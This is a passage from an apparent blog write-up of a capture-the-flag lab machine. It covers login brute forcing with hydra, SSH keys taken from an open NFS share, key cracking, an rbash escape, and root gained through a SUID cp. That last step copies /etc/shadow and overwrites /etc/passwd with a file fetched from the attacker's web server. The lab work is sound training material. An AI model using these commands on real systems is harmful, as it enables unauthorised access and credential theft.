quickly copy it to a file and throw it at <a href="http://sqlmap.org/"><strong>SQLMap</strong></a><strong> </strong>in the background even though I already suspect there isn’t a database behind this form.</p><blockquote>sqlmap -r login_req — dbs</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PF1S313avW88JNEdyA1t2A.png" /></figure><p>While SQLmap does it’s thing, I am going to quickly make a wordlist from main site using <a href="https://tools.kali.org/password-attacks/cewl">cewl</a> and try and use it to brute force some credentials.</p><blockquote>cewl -d 1 -w happyCorp.dic <a href="http://172.16.186.188/">http://172.16.186.188</a></blockquote><p>While casually browsing the site we certainly saw some potential user names in the <em>‘Team’</em> section and while playing with the form we know it was giving us an error “Invalid username”. We can likely use our custom wordlist and Hydra to brute force some usernames and then potentially some passwords to go along with them.</p><p>First we just try our wordlist on possible usernames, set a static password and check the error message for <em>‘Invalid username</em>’</p><blockquote>hydra -L happyCorp.dic -p password 172.16.186.188 http-post-form “/admin.php:user=^USER^&amp;pass=^PASS^:Invalid username.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3pIUColdLCBQDnKwbUR6A.png" /></figure><p>Sure enough we found a user, <em>‘heather’ </em>that did not return ‘<em>Invalid username’ </em>as the error message.</p><p>Now lets try and brute force Heather’s password with the same technique, but setting the username to ‘heather’ and password to our wordlist.</p><blockquote>hydra -l heather -P happyCorp.dic 172.16.186.188 http-post-form “/admin.php:user=^USER^&amp;pass=^PASS^:Invalid password”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rDGWKXgIQATB0nVryRdv9Q.png" /></figure><p>Oh no! There is no shiny green line highlighting our success!</p><p>At this point I realized that the the site is all ‘<em>Lorem Ipsum’ </em>so my wordlist wasn’t going to give me anything aside from 4 or 5 potential usernames.</p><p>I checked in on sqlmap and as expected that yielded nothing as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rx3j04L7M73Asr2soMn-6g.jpeg" /></figure><p>You know what else was pointless? Ignoring that low hanging fruit, network file share on port 2049.</p><h3>Port 2049 : Sharing Is Caring</h3><p>One day I will learn to just go with my gut, but for now lets just move on and check out that juicy NFS port we left behind earlier.</p><p>First we see what directories if any are mountable.</p><blockquote>showmount -e 172.16.186.188</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*9KtIarwLjC3bvDyv0UOM7w.png" /></figure><p>Well hello, Karl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*HcxV_STjw6ruWO2rPemo_g.jpeg" /></figure><blockquote>mount -t nfs 172.16.186.188:/home/karl /mnt/</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*Ns6xWjj9pkIqMnm6d3BN4Q.png" /></figure><p>The .ssh folder looks promising, but is giving me a <em>‘permission denied.’ </em>Funny thing is those user groups. ‘<em>toruser</em>’ and ‘<em>nonroot</em>’ are my own local user groups so I should be good just switching users.</p><blockquote>su toruser</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*0s5swmgb_R-XkA3VsYfN4g.png" /></figure><p>Well look at that. We have some apparent ssh keys and an intriguing file named <em>‘user.txt.’</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*blmpXMgdUpzdPdjOcB309g.png" /></figure><p>Reading the ‘user.txt’ file we find our first base64 encoded flag.</p><blockquote><strong>flag1{Z29vZGJveQ}<br></strong>echo Z29vZGJveQ | base64 -d<br>goodboy</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Nw6D62kAvDtQ3Gy8lMGqew.jpeg" /></figure><p>Now that we are official members of the Good Boy Club lets move on to those SSH keys.</p><h3><strong>Port 22 : SSHell</strong></h3><p>First off, lets take a look at those key files and see what we are working with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9U3d5IDPklhIWWMkOYS83Q.png" /></figure><p>It appears to be a legit set of ssh keys, for our buddy Karl.</p><p>Let’s take those keys for a ride.</p><blockquote>ssh -i id_rsa karl@172.16.186.188</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*08TQOC1Lm72Q2wca2ctLAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*ILm_WRCMb9QzZQC-z2vxpQ.jpeg" /></figure><p>Shit! We need a password to use our keys. Or should I say Karl’s keys.</p><p>Being the genius that I am, I of course immediately googled, <em>‘Cracking RSA Private Keys</em>,’ where I found this little <a href="http://www.cables.ws/cracking-rsa-private-key-passphrase-with-john-the-ripper/">ditty</a>. So I then google ssh2john and found this: <a href="https://github.com/koboi137/john/blob/master/ssh2john.py">https://github.com/koboi137/john/blob/master/ssh2john.py</a></p><p>Sure. Let’s try that.</p><blockquote>python ssh2john.py /mnt/.ssh/id_rsa &gt;sshKeys.txt</blockquote><blockquote>john — wordlist=/usr/share/wordlists/rockyou.txt /home/toruser/</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*H1ZFrAXtGg6TAulpDxJPBA.png" /></figure><p>That seems to have revealed a password of ‘<em>sheep</em>’ for our keys, guess there is only one way to find out if that is correct.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*cY79sP73VTvLzuQjj7tCrw.png" /></figure><p>Well the password and the keys work but we are getting an error that our shell level is too high?</p><p>Using my elite google skills, I have come to the conclusion that rbash is spawning itself in a loop or something.</p><p>The session is pretty much useless. All my commands just time out and what’s worse, <strong>we can’t exit!!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*HFJA_ycUvnPDK9yHjsJ7CQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*0HHEQCoMIfVmR4BsqXH6Kg.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*TRLjjRN9Ut7cousDphhG8w.png" /></figure><p>Ok. Breath. Close the terminal window and start over.</p><p>What if rbash is the problem. Consulting the ssh man page, we know we can force a pseudo terminal allocation</p><blockquote>man ssh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*bDF5iIQkc_H-BueVohXj7g.png" /></figure><blockquote>ssh -i id_rsa karl@172.16.186.188 -t ‘/bin/sh’</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*mH2Wda1tb82pmynT44it5g.png" /></figure><p>Oh my god, that is so much better!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*saJ6MIbgxKGIEh5e0MBxJw.gif" /></figure><h3>End Game : Privilege Escalation</h3><p>It seems we don’t get any words of encouragement in the form of a flag at this moment. It’s okey, we know we are a good boy.</p><p>The first few steps at this stage in the game are pretty much always the same.</p><blockquote>sudo -l</blockquote><p>Apparently ‘<em>sudo</em>’ is not found? Can we find <a href="https://www.linuxnix.com/suid-set-suid-linuxunix/">SUID</a> files?</p><blockquote>find / -perm -4000 -type f 2&gt;/dev/null</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*uwkub0NeChXyMnKJolSxdw.png" /></figure><p>I stared at this for a little bit before I even noticed the little guy.</p><blockquote>/bin/cp</blockquote><p>As in?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*LEpyPc67qcTj6glIm2nIRA.jpeg" /></figure><p>So what you are saying is, while I’m not root and I shouldn’t be able to read the ‘/etc/shadow’ file, I still might be able to copy it?</p><p>Let’s see.</p><blockquote>cp /etc/shadow/ /home/karl/</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*l3IXpvBC2LT8kWwcXjx2bA.png" /></figure><p>Now I happen to have an <strong>8 gpu</strong> <a href="https://hashcat.net/hashcat/"><strong>hashcat</strong></a> rig just laying around on my network and welcome any excuse to fire her up.</p><p>So…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2rDMrh7EmEIZkzPNJT6WA.png" /></figure><p>I will spare you any more of my bragging and save you some time and electric bills here. I threw that shadow file at one of my biggest custom wordlists and <strong>1 hour and 26 minutes later I had nothing.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*DMw1kSEnCAQ3OmE1_pOXJA.png" /></figure><p>Now mind you, I didn’t bother to throw it at the classic <em>‘rockyou.txt</em>’ but let’s face it, on my rig that would only take 4 minutes. Not everyone has 8 Nvidia cards to throw at it and we wanted to keep it realistic.</p><p>Besides, trust me, if its not in ‘<em>BigDaddyData.txt</em>’ it’s not in <em>‘rockyou.txt.</em>’</p><p>Ok, I’m bragging about my baby again.. Can you blame me? She is beautiful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*DAf4LwwNFSUgL3-IJlFkYA.gif" /></figure><p>Ok point is! We need to rethink our approach. If we can’t brute force the hash, maybe we could use copy to overwrite the existing ‘<em>/etc/passwd</em>’ file?</p><p>We cat the ‘<em>/etc/passwd</em>’ file quickly and copy it to our clipboard.</p><blockquote>cat /etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*5gq_rnGYmrkwqxreHTz4Hg.png" /></figure><p>Then in another terminal window, I navigate over to my local apache2 directory, <em>‘/var/www/html/’ </em>and paste it into a file called ‘<em>passwd</em>’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*aXLrpw1P258OQeMQdbg5Sw.png" /></figure><p>From here the plan is to add another root level user. Then from our target we can download it and use ‘<em>copy</em>’ to replace the existing passwd file.</p><p>Typically we see an ‘<strong><em>x</em></strong>’ after a user in the passwd file.</p><blockquote>root:<strong>x</strong>:0:0:root:/root:/bin/bash</blockquote><p>This x is like a pointer telling the system that the password hash is stored in the shadow file. For our user, we are just going to put it right in the passwd file.</p><p>Let’s quickly generate a salted hash for our user. We will call the user, ‘<em>hacker</em>’ and their password will be ‘<em>godmode</em>’</p><blockquote>openssl passwd -1 -salt hacker godmode</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*iL5SZWBClXWNKVHiW6pHew.png" /></figure><blockquote>$1$hacker$O7k1lS6boSXJ4/WPvep980</blockquote><p>Nice! Now we will copy the root user from the beginning of our passwd file:</p><blockquote>root:x:0:0:root:/root:/bin/bash</blockquote><p>and paste it at the bottom of the file where we will update the username and password hash like so.</p><blockquote>hacker:$1$hacker$O7k1lS6boSXJ4/WPvep980:0:0:root:/root:/bin/bash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*8M39t4PubgCoHhxRKjUVLQ.png" /></figure><p>With that saved we will start apache2 on our local machine.</p><blockquote>service apache2 start</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*x1f5W9p_91NnvMXOKQ4bag.png" /></figure><p>Then back on our target machine we’ll try to fetch the new passwd with wget.</p><blockquote>wget 172.16.186.1/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*pF8Wd75DMi8bdDHpCxztXQ.png" /></figure><p>Navigating up a couple directories, we try and copy the file we just downloaded over to the /etc/ folder and hopefully overwrite it.</p><blockquote>cp /home/karl/passwd /etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*XnPqpdDvVFRmbjj5fu4WKw.png" /></figure><p>No errors! That’s a good sign, but did it work?</p><blockquote>cat /etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*L59VlzW9aqVEU4JY-1_urw.png" /></figure><p>It appears it did!</p><blockquote>su hacker</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*w-gAbpPCfAjnL_FDGVJgCw.png" /></figure><blockquote><strong>flag2{aGFja2VyZ29k}<br></strong>echo aGFja2VyZ29k | base64 -d<br>hackergod</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*EA_mq-9XVjAZFb4P0R374Q.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de456a3f16a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>